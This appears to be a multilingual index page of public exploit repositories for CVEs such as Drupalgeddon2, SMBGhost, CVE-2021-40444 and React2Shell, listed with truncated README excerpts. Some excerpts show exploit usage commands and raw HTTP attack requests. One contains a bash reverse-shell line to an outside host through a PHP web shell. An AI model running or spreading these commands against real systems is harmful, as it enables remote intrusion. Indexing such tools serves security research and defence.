CVE-2023-33733

CVE-2023-33733 Reportlab-Bibliothek - Remote-Code-Ausführung...

drupalgeddon2

drupalgeddon2 Exploit para CVE-2018-7600. Uso: drupalgeddon2 options root@kitploit: -h: URL alvo -c: comando do SO Exemplos: drupalgeddon2.py -h http://www.victim.com -c 'ls -la' Baseado em https://github.com/FireFart/CVE-2018-7600...

CVE-2021-25646

Apache Druid RCE title="druid" && title=="Apache Druid" POST /druid/indexer/v1/sampler?for=filter HTTP/1.1 Host: x.x.x.x:8888 Content-Length: 612 Accept: application/json, text/plain, / Origin: http://x.x.x.x:8888 User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64 AppleWebKit/537.36 KHTML, like Gecko...

React-Server-Components-Remote-Code-Execution-CVE-2025-55182-

Questo repository non contiene un README...

CVE-2020-0796

CVE-2020-0796 Vulnerabilidade RCE SMBv3 no SMBv3 windows 10 é vulnerável Windows 2008 Não vulnerável Script de detecção...

CVE-2021-40444

CVE-2021-40444 PoC Generatore di documenti docx dannosi per sfruttare CVE-2021-40444 Esecuzione di codice in remoto in Microsoft Office Word La creazione di questo script si basa su un po' di reverse engineering del campione utilizzato in-the-wild:...

CVE-2022-46169_poc

CVE-2022-46169 esecuzione remota di codice non autenticata Descrizione Bypass dell'autenticazione: il controllo di autorizzazione basato sul nome host non è implementato in modo sicuro nella maggior parte delle installazioni di Cacti Iniezione di comandi: l'input utente non sanitizzato viene...

CVE-2021-41773

CVE-2021-41773 Un pacchetto Zeek che genera notifiche per Path Traversal/RCE in Apache HTTP Server 2.4.49 CVE-2021-41773 e 2.4.50 CVE-2021-42013 Riferimenti https://httpd.apache.org/security/vulnerabilities24.htmlCVE-2021-41773 https://httpd.apache.org/security/vulnerabilities24.htmlCVE-2021-4201...

CVE-2022-26134

pip3 install -r requirements.txt uso: python3 exp.py url "cmd" esempio: python3 exp.py http://192.168.1.1/ whoami...

CVE-2017-0037

CVE-2017-0037 Vulnerabilità di corruzione della memoria nel browser Microsoft Questo documento riguarda CVE-2017-0037 - Vulnerabilità di corruzione della memoria nel browser Microsoft. Verrà prima introdotto il concetto di esecuzione di codice in remoto RCE e poi verranno esaminati alcuni dettagl...

Oracle-WebLogic-CVE-2017-10271-master

WebLogic Wls-wsat XMLDecoder Descrizione della vulnerabilità mitre:https://vulners.com/cve/CVE-2017-3506 In precedenza, gli hacker hanno sfruttato la vulnerabilità del componente WLS di WebLogic per lanciare attacchi remoti su larga scala contro i server aziendali. Un gran numero di server...

react-cve-2025-55182

fix-react2shell Uno strumento CLI per rilevare e correggere la vulnerabilità critica CVE-2025-55182 React2Shell nei componenti React Server Components e nelle applicazioni Next.js. La vulnerabilità CVE-2025-55182 è una vulnerabilità critica CVSS 10.0 di esecuzione remota di codice non autenticata...

CVE-2024-21413

CVE-2024-21413 | PoC della vulnerabilità di esecuzione remota di codice in Microsoft Outlook 🚀 Utilizzo Assicurati di avere i permessi e l'autorizzazione necessari dal proprietario del sistema di destinazione prima di utilizzare questo script. Prerequisiti Python 3.x impacket-smbserver Esempio di...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip passwor...

CVE-2025-48384

CVE-2025-48384: Rompere git con un ritorno a capo e RCE tramite clonazione Riproduzione tratta da https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384. Tutti i crediti a David Leadbeater. Questo è un tentativo di riproduzione di base della vulnerabilità. Per attivarla, esegui git clone...

CVE-2023-38890

CVE-2023-38890 – WriteUp sull'esecuzione di codice remoto in Online Shopping Portal 3.1 CVE-2023-38890 – ExploitDB 50029...

CVE-2020-0796

CVE-2020-0796 SMBGhost da ollypwn Scanner semplice per CVE-2020-0796 - SMBv3 RCE. Lo scanner è pensato solo per verificare se un server è vulnerabile. Non è destinato alla ricerca o allo sviluppo, da qui il payload fisso. Controlla il dialetto SMB 3.1.1 e la capacità di compressione tramite una...

Exploit-CVE-2025-68613

Exploit-CVE-2025-68613 Security Advisory: Vulnerabilità critica di esecuzione remota di codice in n8n CVE-2025-68613 È stata identificata una vulnerabilità critica nello strumento di automazione dei flussi di lavoro n8n che consente l'esecuzione arbitraria di codice. Gli utenti autenticati con...

CVE-2021-2394

CVE-2021-2394 POC di CVE-2021-2394 Disclaimer Il progetto è destinato esclusivamente all'apprendimento; qualsiasi conseguenza o perdita, diretta o indiretta, causata da test non autorizzati, è di esclusiva responsabilità dell'utente stesso. Note Il POC invia i pacchetti tramite IIOP; aggiungere l...

Weblogic_Unauthorized-bypass-RCE

CVE-2020–14882 Weblogic अनधिकृत बाईपास RCE CVE-2020-14882 Oracle Weblogic अनधिकृत बाईपास RCE परीक्षण स्क्रिप्ट यह Python3 पर काम करती है। अनुरोध root@kitploit: POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1 Host: User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36...